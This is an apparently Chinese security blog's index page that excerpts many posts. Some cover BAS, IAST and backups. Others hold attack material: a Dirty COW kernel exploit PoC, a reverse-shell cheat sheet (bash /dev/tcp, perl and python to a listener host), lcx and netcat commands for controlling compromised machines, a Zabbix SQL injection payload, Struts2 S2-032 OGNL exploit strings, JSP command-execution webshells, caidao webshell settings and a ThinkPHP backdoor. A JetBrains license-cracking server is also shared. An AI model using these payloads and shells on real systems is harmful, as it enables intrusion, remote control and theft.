BAS那点事儿笔者之前的工作有涉及到BAS相关的工作内容，借此机会也收集和了解了很多BAS相关的内容，了解到国内很多人不了解BAS，以及对于BAS涉及较少，逐写出此篇文章来普及BAS相关知识。如文中有错误或描述不准确的地方，还望大家指正。什么是BAS前言在近些年来，得益于国家大力推进安全领域的一些法律法规和各种规定条款，不少企业的整体安全能力有很大提升，包括但不限于采购了很多安全控制设备，或花重金招兵买马，但是在很多情况下，有不少企业采购了安全设备，没有进行过升级，或者部署的位置有问题，导致了很多类似这样的问题：“我买了安全控制设备了啊，怎么他们渗透测试还能攻击进来？”“安全部门怎么感觉天天啥事没有，就知道找开发的麻烦？”“听领导说安全最近没什么产出啊，会不会他们要被裁掉？”“安全看的很简单啊，天天就看看日志，然后划划水就领工资了！”“这垃圾安全控制设备为什么黑客都攻击进来了连个告警也没有？”“又要向领导汇报安全工作进度了，这些指标数据不太好弄啊……”………………尤其是在某些企业，遭到了APT攻击、勒索病毒、挖矿病毒的侵入，安全团队只能在事后去进行分析清理，但是很多APT组织或者勒索病毒、挖矿病毒，很可能已经国内外一些安全厂商将其分析完毕并向社区推送了相关的威胁情报信息，又比如某个APT组织被某个厂商爆出来后，那么在第一时间，只有该厂商的安全控制设备规则已经准备就绪，其他厂商也会及 ...继续阅读 (10)

Spring Cloud Function SpEL表达式注入漏洞概述Spring Cloud Function 是基于Spring Boot 的函数计算框架（FaaS），该项目提供了一个通用的模型，用于在各种平台上部署基于函数的软件，包括像 Amazon AWS Lambda 这样的 FaaS（函数即服务，function as a service）平台。它抽象出所有传输细节和基础架构，允许开发人员保留所有熟悉的工具和流程，并专注于业务逻辑。在版本3.0.0到当前最新版本3.2.2 (@dc5128b80c6c04232a081458f637c81a64fa9b52)，默认配置下，都存在Spring Cloud Function SpEL表达式注入漏洞。漏洞复现在IDEA中选择新建项目，然后选择Spring Initializr，项目名称随便输入，然后选择java版本和jdk版本后点击下一步。接着选择Spring Web和Function作为依赖项后点击完成。这时漏洞环境就搭建完成了，因为当前官方还没出新版本，所以最新版本3.2.2也是存在漏洞的，若在官方出新版本后想要复现此漏洞，那么需要修改pom中spring-cloud-function-web的版本为3.2.2,如下图所示确认项目中的spring-cloud-function-web是存在漏洞版本后，就可以直接启动项目了， ...继续阅读 (9)

实现IAST所需要的一些技术通过之前一篇文章，大家应该已经了解到了当前IAST的一些基础知识，如果想要从零实现一个被动式的IAST，我们至少需要掌握关于字节码操作的技术，比如ASM、Javassist等，如果不想从零实现或从那么底层的方式去实现，可以试试看使用AspectJ技术，或者结合使用开源的APM框架进行改造，让其成为一个简单的被动IAST。本次所涉及的Demo源码已经公开，地址为JAVA_IAST_EXAMPLE。实验环境搭建这次IAST相关的环境其实和之前的RASP环境基本差不多。大家可以参照之前的[浅谈RASP技术攻防之实战[环境配置篇]](https://www.03sec.com/Ideas/qian-tanrasp-ji-shu-gong-fang-zhi-shi-zhan-huan-ji.html#morphing)文章内容去搭建一个本地的实验环境，唯一变的，可能就是包名了。demo整体逻辑这次实验的整体逻辑如果相比真正的IAST，肯定会有很多缺少的细节部分完善，所以仅仅适合用来学习了解被动IAST实现的大致流程，整体逻辑图如下:从上图可以看到，其实在这次demo实现的过程中，逻辑也并不是很复杂，大致文字版说明如下：http->enterHttp->enterSource->leaveSource enterPropagator->leavePropagato ...继续阅读 (9)

笔者因为之前有过参与RASP研究&研发的一些经验，而且看近两年IAST看着发展势头挺足，所以一直有时间想研究下IAST相关的技术，但是苦于国内外对于IAST具体实现的细节的一些文章并不是很多，唯一开源的IAST也就是洞态了，所以想自己对IAST原理进行简单的技术实现。正好最近有时候有点时间，所以抽空研究了下IAST相关的技术实现，笔者因为工作原因，已经将近2年多没有碰Java了，对于本文章中的一些疏漏点，且本文仅代表个人的一些观点，还望大家多多包涵，笔者目前就职于墨云科技，欢迎大家一起来交流、学习。什么是IASTIAST是AST其中的一个类别，AST是Application Security Testing的简称，翻译过来就是应用安全测试，在他之下衍生出来以下几种类型:SAST（Static Application Security Testing）静态应用安全测试DAST（Dynamic Application Security Testing）动态应用安全测试MAST（Mobile Application Security Testing）移动应用安全测试IAST (Interactive Application Security Testing)交互式应用安全测试对于IAST的定义我并没有在Gartner找到其相关的术语表，但是在Gartner推荐的服务商中找到了一些关于IA ...继续阅读 (8)

前段时间看到了阿里云发的一篇文章，捕获到了某挖矿软件利用Hadoop Yarn的RPC接口进行执行命令。上周有空看了下，在java中可以很简单的使用yarnClient调用RPC接口进行通信，其实就是之前的Hadoop Yarn REST API未授权访问漏洞变成，由REST API变成了RPC接口，REST API的默认端口为8088，RPC的默认端口为8032。整个执行命令的通信过程分为两步 :这个过程中会发送不少RPC包请求APPID提交执行任务在网上找了一个使用yarnClient获取信息的代码(https://blog.csdn.net/jsbylibo/article/details/109286147)，package com.**.dfp.rtsync.task; import lombok.extern.slf4j.Slf4j; import org.apache.hadoop.conf.Configuration; import org.apache.hadoop.yarn.api.records.ApplicationReport; import org.apache.hadoop.yarn.api.records.YarnApplicationState; import org.apache.hadoop.yarn.client.api.YarnClie ...继续阅读 (10)

本文转自原文链接今天重新搭建了博客，想起来typecho有个可以找到后台的bug(漏洞?)，就随手转载过来,让更多使用typecho的小伙伴看到,或者让大家找typecho后台多一些了解。typecho在修改后台后，通过访问以下几个路径，还是可以跳转到修改后的后台地址:/index.php/action/login/action/login/action/upgrade/action/comments-edit/action/contents-page-edit/action/contents-post-edit/action/contents-attachment-edit/action/metas-category-edit/action/metas-tag-edit/action/options-discussion/action/options-general/action/options-permalink/action/options-reading/action/plugins-edit/action/themes-edit/action/users-edit/action/users-profile通过修改配置文件config.inc.php的后台目录：/** 后台路径(相对路径) */ define('__TYPECHO_ADMIN_DIR__','/admin ...继续阅读 (6)

刚经历了服务器故障，导致博客内容大部分都丢失的窘境，我今天在重新搭建博客的时候，就顺便将对网站的备份方案进行了完善，主要是以下两点：服务器提供商常态备份核心服务器数据异地备份第一点没什么好说的，因为我购买的是DigitalOcean家的机器，有个每个月2$的备份选项，直接开启就是了，第二个方案主要是将服务器上的内容异地备份到本地Minio(群晖Docker搭建的)上去了.自动备份脚本RcloneRclone的官方(https://rclone.org/)介绍如下:Rclone 是一个命令行程序，用于管理云存储上的文件。它是云供应商 Web 存储界面的功能丰富的替代品。超过 40 种云存储产品支持 rclone，包括 S3 对象存储、企业和消费者文件存储服务以及标准传输协议。在服务器(Linux/macOS/BSD)上使用以下命令即可快速安装rclone.curl https://rclone.org/install.sh | sudo bash然后使用rclone config，根据提示一步步去新建Providers即可，我使用的是Minio，直接按照提示或者官方文档(https://rclone.org/s3/#minio)新建即可.什么是Backup.sh我在2019年的做过一次备份，我记得是当时是看到一篇文章,https://teddysun.com/469.html，觉得挺 ...继续阅读 (7)

之前博客存放在vultr上,昨天收到vultr的邮件告知服务器硬件故障,服务器无法恢复,因为一直用的vultr,也就在19年备份了一次,后面就没有对数据再次备份,so,19年以后的数据全部没了,好在本地有部分技术文档留存.后续将抽空全部一起发上来。19年之前的文章,也懒得倒腾了..就随风去吧.对以前一些文章有需要交流的朋友，可以联系我WeChat：echo aWl1c2t5 | base64 -d在发生这件事情后多次与vultr进行交涉,然而vultr以你自己不备份导致数据丢失,和我没有任何关系为由进行推脱责任,今天刚换了一家服务器提供商,目前使用的是digitalocean,也开启了内置2$一个月的备份功能,接下来我也将数据进行异地备份到我NAS里面,防止后续类似的情况再次发生.大家一定要做好数据备份,血的教训.. ...继续阅读 (4)

导语Apache ShenYu 是一个异步的，高性能的，跨语言的，响应式的 API 网关。近期发现其历史版本(2.3.0-2.4.0)中存在登录认证绕过的风险，CVE编号为CVE-2021-37580环境搭建先从官方仓库克隆一份最新代码到本地,然后切换到相关tag,方便分析漏洞。git clone https://github.com/apache/incubator-shenyu.git git checkout v2.4.0 git switch -c v2.4.0然后按照官方手册启动ShenyuAdminBootstrap和ShenyuBootstrapApplication即可,(官方手册点我查看)漏洞复现根据CVE-2021-37580描述我们可以知道，该漏洞点在jwt认证的过程中，我看到漏洞描述的第一时间以为是jwt秘钥硬编码导致的漏洞，但是后面分析的时候才发现我格局小了。查看源码可以知道其认证过程使用的是shiro+jwt认证方式。那么直接找到shiro的验证逻辑进行断点即可跟进整个认证登录流程。在shenyu-admin/src/main/java/org/apache/shenyu/admin/shiro/config/ShiroRealm.java中可以看到两个doGetAuthorizationInfo方法,其中doGetAuthorizationInfo(f ...继续阅读 (6)

术语WordPressWordPress是一个以PHP和MySQL为平台的自由开源的博客软件和内容管理系统。WordPress具有插件架构和模板系统。截至2018年4月，排名前1000万的网站中超过30.6%使 用WordPress。WordPress是最受欢迎的网站内容管理系统。全球有大约30%的网站都是使用WordPress架设网站的。REST APIREST API 也称为 RESTful API，是遵循 REST 架构规范的应用编程接口。REST 是表述性状态传递的英文缩写。代码注入PHP 代码执行（注入）(Web 方面)是指应用程序过滤不严，用户可以通过请求将代码注入到应用中执行。代码执行（注入）类似于SQL 注入漏洞，SQLi 是将SQL 语句注入到数据库中执行，而代码执行则是可以把代码注入到应用中最终由服务器运行它。这样的漏洞如果没有特殊的过滤，相当于直接有一个Web 后门的存在。Loco TranslateLoco Translate 提供 WordPress 翻译文件的浏览器内编辑以及与自动翻译服务的集成。它还为开发人员提供了Gettext/本地化工具，例如提取字符串和生成模板。Loco Translate在WordPress拥有1百万+的用户量。利用条件该漏洞的利用条件需要满足以下两个需求其中之一即可：Loco Translate(< 2.5.4)有一个可以访问 ...继续阅读 (10)

近日工作需要，需要输入一个网址，然后将网站保存为图片格式以及pdf格式找了半天，发现还是phantomjs好用，之前phantomjs做爬虫的时候接触过一些，没想到这么强大PhantomJS是一个基于webkit的javascript API。它使用QtWebKit作为它核心浏览器的功能，使用webkit来编译解释执行JavaScript代码。任何你可以在基于webkit浏览器做的事情，它都能做到。它不仅是个隐形的浏览器，提供了诸如CSS选择器、支持Web标准、DOM操作、JSON、html5、Canvas、SVG等，同时也提供了处理文件I/O的操作，从而使你可以向操作系统读写文件等。PhantomJS的用处可谓非常广泛，诸如网络监测、网页截屏、无需浏览器的 Web 测试、页面访问自动化等。如果做自动化测试的小伙伴应该很熟悉这个，我这个门外汉也就接触过一点皮毛。命令如下：先找到phantomjs的安装路径，然后进入安装目录下面的examples目录。运行下面这行命令即可phantomjs rasterize.js 网址 保存的名字保存的名字后缀为pdf 则将网页保存为了pdf格式的文档，如果保存的名字后缀为png，则将网页保存为截图下面是rasterize.js的代码，官方自带的一个js，挺好用的"use strict"; var page = require('webpage') ...继续阅读 (12)

PoC#include <stdio.h> #include <sys/mman.h> #include <fcntl.h> #include <pthread.h> #include <unistd.h> #include <sys/stat.h> #include <string.h> #include <stdint.h> void *map; int f; struct stat st; char *name; void *madviseThread(void *arg) { char *str; str=(char*)arg; int i,c=0; for(i=0;i<100000000;i++) { /* You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/security/vulnerabilities/2706661 > This is achieved by racing the madvise(MADV_DONTNEED) system call > while having the page of the executable mmapp ...继续阅读 (9)

垃圾IDC,毁我时间，吃我青春，还他妈的机房老让攻击，：）在用西部数码是傻逼！草：）续费到了12月低，到时不限期关站欢迎推荐好用稳定的服务器或者虚拟空间折腾一天，莫名其妙的网站又能访问了：）傻逼 ...继续阅读 (19)

原文地址：http://bobao.360.cn/learning/detail/2970.html0x01 曝光的数据与方程式和NSA的关系从泄露数据包所解压出的内容看，是专门针对防火墙设备进行攻击和渗透行动时所使用的工具集。据数据曝光者Shadow Brokers所描述，这个数据包是来自于著名国家级APT攻击团队——方程式组织(Equation Group)。该组织具信受雇于美国国家安全局(NSA),对外发动过多次著名的国家级APT攻击，包括震网(stuxnet)、Regin、Flame等攻击。从文件中所包含有”JETPLOW“,”BANANALEE“等文件名和文件夹关键字信息, 也与之前斯诺登所曝光的NSA网络攻击内部资料的防火墙(FIREWALL)章节内容所相符:下图为斯诺登报出的NSA网络攻击的一节内容:(JETPLOW是专门针对Cisco PIX和ASA系列防火墙固件进行持久化植入的工具，可以将持久化控制软件BANANAGLEE植入到设备中)(BANANAGLEE可以认为是一个持续控制后门(Persistent Backdoor)攻击框架, 通过植入和篡改Cisco防火墙OS文件, 实现对Cisco防火墙入侵后的持续控制)通过各安全研究人员对工具集当中攻击工具的成功验证, 基本上确定了这些数据包是从NSA有关联的方程式组织(Equation Group)泄露的可能性;0 ...继续阅读 (35)

一、lcx的使用1.肉鸡上执行：lcx.exe –slave 公网ip +端口 肉鸡ip +端口例如：lcx.exe -slave xxx.xxx.xxx.xxx 10000 127.0.0.1 3389意思是把肉鸡的3389端口转发到xxx.xxx.xxx.xxx公网的10000端口2.公网ip机器上执行 Lcx.exe –listen 10000 10001例如：Lcx.exe –listen 10001 10000意思是监听公网ip机器上的10001端口请求，并将10001的请求传送给10000端口。此时，RDP连接，只需要输入 127.0.0.1:10000，即可远程连接到肉鸡上。二、nc反弹cmdshell1.开启肉鸡代理执行cmdshell在肉鸡上执行 nc -l -p 2333 -t -e cmd.exe意思是，肉鸡监听本地的2333端口，且应答通过telnet（-t）模式执行cmd.exe程序在自己的公网服务器上执行 nc -nvv 肉鸡ip 23332.反向代理执行cmdshell在公网服务器上运行nc -l -p 2333意思是监听本地端口2333，登台其他电脑登陆过来在肉鸡上执行 nc -t -e cmd.exe 公网服务器ip 2333意思是让肉鸡可以通过telnet模式执行cmd.exe程序，并可以把执行权通过2333端口给公网服务器 ...继续阅读 (14)

bash命令：bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 perl版本：perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");}; python版本：python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/b ...继续阅读 (14)

payloadjsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&tim estamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=hi story.php&profileIdx=web.item.graph&profileIdx2=2'3297&updateProfil e=true&screenitemid=&period=3600&stime=20160817050632&resourcetype= 17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=& mark_color=1有漏洞的话会出现You have an error in your SQL syntax有时候测试会出现You are not logged in这是因为给guest账号设置了密码，原文说不需要登录是默认开启了guest且guest密码默认为空的情况下。来源：http://seclists.org/fulldisclosure/2016 ...继续阅读 (22)

首先安装oh-my-zshsh -c "$(curl -fsSL https://raw.githubusercontent.com/robbyrussell/oh-my-zsh/master/tools/install.sh)"然后下载字体库https://github.com/powerline/fonts运行install.sh然后下载iterm2的配色方案https://github.com/altercation/solarized然后在iterm2设置中导入配置方案Solarized Dark.itermcolors然后设置agnoster主题进入~/.zshrc打开.zshrc文件，然后将ZSH_THEME后面的字段改为agnoster。ZSH_THEME="agnoster"（agnoster即为要设置的主题）然后简单配置vim编辑器创建文件.vimrc然后在里面写入set nucolor scheme desertsyntax on ...继续阅读 (37)

标签新建标签：command + t关闭标签：command + w切换标签：command + 数字 command + 左右方向键切换全屏：command + enter查找：command + f分屏垂直分屏：command + d水平分屏：command + shift + d切换屏幕：command + option + 方向键 command + [ 或 command + ]查看历史命令：command + ;查看剪贴板历史：command + shift + h其他清除当前行：ctrl + u到行首：ctrl + a到行尾：ctrl + e前进后退：ctrl + f/b (相当于左右方向键)上一条命令：ctrl + p搜索命令历史：ctrl + r删除当前光标的字符：ctrl + d删除光标之前的字符：ctrl + h删除光标之前的单词：ctrl + w删除到文本末尾：ctrl + k交换光标处文本：ctrl + t清屏1：command + r清屏2：ctrl + l自带有哪些很实用的功能/快捷键⌘ + 数字在各 tab 标签直接来回切换选择即复制 + 鼠标中键粘贴，这个很实用⌘ + f 所查找的内容会被自动复制⌘ + d 横着分屏 / ⌘ + shift + d 竖着分屏⌘ + r = clear，而且 ...继续阅读 (40)

laravel 5.2 手动增加helpers.php在app目录下面建立文件夹Libraries.在该文件夹下面创建文件helpers.php,文件内容如下<?php /** * User: Sky * Date: 2016-07-25 * Time: 13:25 */ if(! function_exists('TestFun')){ function TestFun($test){ return $test } }然后修改bootstrap目录下面的autoload.php文件内容在require __DIR__.'/../vendor/autoload.php';下面添加require __DIR__.'/../app/Libraries/helpers.php';这样就可以了= =，==========================================================================删除laravel中安装过不想用的包composer remove "vendor/packagename"获取客户端ip的话用use Illuminate\Support\Facades\Request;然后在用该类下面的getClientIp方法如：$ip=Request:: ...继续阅读 (65)

根据网上流传的内容进行了下载以及整理关了，你们浪，用的我流量都超支了：）漏洞：http://bug.03sec.com知识库：http://drops.03sec.com ...继续阅读 (67)

主要平时老用jetbrains系列的编辑器，每次还要激活找激活码什么的，太麻烦了，就自己搭建了一个，方便自己用.激活过程如下：1、激活的时候选择License server2、填写server地址为http://idea.03sec.com:87273、保存,激活成功！ ...继续阅读 (108)

逛github，发现一个小工具，扔出了分享下原github地址：https://github.com/zer0h/httpscanhttpscan是一个扫描指定CIDR网段的Web主机的小工具。和端口扫描器不一样，httpscan是以爬虫的方式进行Web主机发现，因此相对来说不容易被防火墙拦截。httpscan会返回IP http状态码 Web容器版本 以及网站标题。Usage：./httpscan IP/CIDR –t threadsExample:./httpscan.py 10.20.30.0/24 –t 10 ...继续阅读 (110)

<FLAG>返回的内容分隔符，只限三个字符。我们知道原来的分割符是 ->| 与 |<-, 有些 waf 会拦截这个字符，所以，我们可以用生辟点的字符，比如说 ~>$。<UA>定制 HTTP 请求中的 User-Agent 部分，我们看到默认的 caidao.conf 中将 UA 改成了百度蜘蛛的 UA, 当然你可以改成 Google 的嘛。有些时候需要改改，大部分情况下这个参数可以不用改。<K1> 与 <K2>POST的参数名称，默认情况下, K1 是 z1，K2 是 z2。一般情况下，waf 是不会拦这个，所以可以不用改。<PHP_BASE>, <ASP_BASE>, <ASPX_BASE>, <PHP_BASE.加密示例>这4个是 webshell 的基础代码部分，所有的功能代码都会发到这里进行组装，然后发送到服务端去。如果你服务端的 webshell 做了一层加解密操作，比如服务端代码是这样的<?php @eval(base64_decode($_POST['caidao']));?>那么，你就可以在这里修改配置为<PHP_BASE.加密示例>eval(base64_decode($_POST[id]));&id=%s</PH ...继续阅读 (83)

原文地址：http://www.shack2.org/article/1374154000.htmlStruts2漏洞利用工具下载(已更新V1.6版)新鲜出炉支持Struts2 s2-032漏洞的检查利用。如果有对Struts2 S2-029 这个鸡肋漏洞有兴趣的可以找我要下检查工具，这个鸡肋工具就不在这里共享了。顺便分享下我改写的exp：S2-032 20160426 漏洞参考 http://seclab.dbappsecurity.com.cn/?p=924获取磁盘目录：method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23req%3d%40org.apache.struts2.ServletActionContext%40getRequest(),%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding[0]),%23path%3d%23req.getRealPath(%23parameters.pp[0]),%23w%3d%23res.getWriter(),%23w.print(%23path),1?%23xx ...继续阅读 (418)

#!/usr/bin/env python import py_compile import imp import os def pycodeobject2pyc(pyobj, pycfile): with open(pycfile, 'wb') as fc: fc.write('\0\0\0\0') timestamp = long(os.fstat(fc.fileno()).st_mtime) py_compile.wr_long(fc, timestamp) marshal.dump(pyobj, fc) fc.flush() fc.seek(0, 0) MAGIC = imp.get_magic() fc.write(MAGIC) ...继续阅读 (31)

本文转自http://www.iswin.org/2016/03/20/Struts2-S2-029漏洞分析/关于这个Struts2的漏洞感慨颇深，首先根据官方漏洞的描述，大家应该能很快找到漏洞出现的位置，基本上Struts2里面大部分标签都是存在OGNL代码二次执行的问题，问题虽然能很容易的发现，但是在最新版本里面要想成功利用该漏洞执行任意代码，需要绕过Struts2的安全管理器，所以说整个漏洞变成了一个如何绕过Struts2安全管理器的问题，我花了很多时间在想办法如何去绕过Struts2的安全管理器，一开始我从来没有想过Struts2里面的_memberAccess变量可以被修改，因为前几次Struts2的RCE问题中_memberAccess变量已经被纳入黑名单了，同时我把Struts2的安全管理器的源代码也看了一遍，似乎都很合理，但是直到安恒研究院的同学把POC丢出来的时候，_memberAccess变量依然可以被修改，真的是让人匪夷所思。所以本文也主要是围绕这个Bypass安全管理器来进行探讨，看看究竟是什么原因导致了Bypass安全管理器。漏洞详情从官方的描述看来这次是Strut2标签的问题，而且还是标签属性值OGNL二次解析的问题，利用条件比较苛刻，所以说这个漏洞威力并没有那么大，下面直接给出一部分存在问题的标签，其他的标签大家自己去找，这里只列出来几个比较典型的，这 ...继续阅读 (41)

转自园长博客：http://javaweb.org/?p=1627每次去园长博客找，还不如写到自己博客，哈哈：）一：执行系统命令:无回显执行系统命令：<%Runtime.getRuntime().exec(request.getParameter("i"));%>请求：http://192.168.16.240:8080/Shell/cmd2.jsp?i=ls执行之后不会有任何回显，用来反弹个shell很方便。有回显带密码验证的:<%     if("023".equals(request.getParameter("pwd"))){         java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();         int a = -1;         byte[] b = new byte[2048];         out.print("<pre>");         while((a=in.read(b))!=-1){             out.println(new String(b,0,a)) ...继续阅读 (125)

转自https://www.leavesongs.com/PENETRATION/thinkphp-callback-backdoor.html90sec上有人问，我说了还有小白不会用。去年我审计TP的时候留意到的，干脆分析一下代码和操作过程。thinkphp的I函数，是其处理输入的函数，一般用法为I('get.id')——从$_GET数组中取出键为id的值，post、cookie类似。 let me see see I函数的代码： function I($name, $default = '', $filter = null, $datas = null) { ... if ('' == $name) { // 获取全部变量 $data = $input; $filters = isset($filter) ? $filter : C('DEFAULT_FILTER'); if ($filters) { if (is_string($filters)) { $filters = explode(',', $filters); } foreach ($filters as $filter) ...继续阅读 (34)

本文由天火原创，转载请注明出处，谢谢！原文链接：http://blog.sina.com.cn/s/blog_4152a9f501017asy.htmlWindows 2008在不安装远程桌面服务授权管理器下的情况，系统允许有120天的宽限期，在120天后，又不想购买授权的话，就需要按以下的步骤“折腾”一下了：1.首先进入"开始菜单-->管理工具-->远程桌面服务-->远程桌面授权管理器"，开始激活。2.在列表里选择已安装的授权服务器，此为的激活状态为“没有激活”，右击鼠标，选择“激活服务器”。3.在弹出的对话框里点“下一步”，连接方法选择“Web 浏览器，点击“下一步”。4.记住这个页面提供的产品ID（如：88888-888-8888888-88888），按照上面的提示，用浏览器打开“https://activate.microsoft.com”，这个页面是英文界面的，在左边的菜单中选择"Chinese(Simplified)"(简体中文)项，再点"GO"图标，切换为中文界面。5.确保已选中"启用许可证服务器"，再单击“下一步”按钮。6.填上上面记下来的产品ID，再填入自己的其他基本资料（输入必填项即可），然后再选"下一步"继续。7.在这个页面显示了刚才输入的信息 ...继续阅读 (22)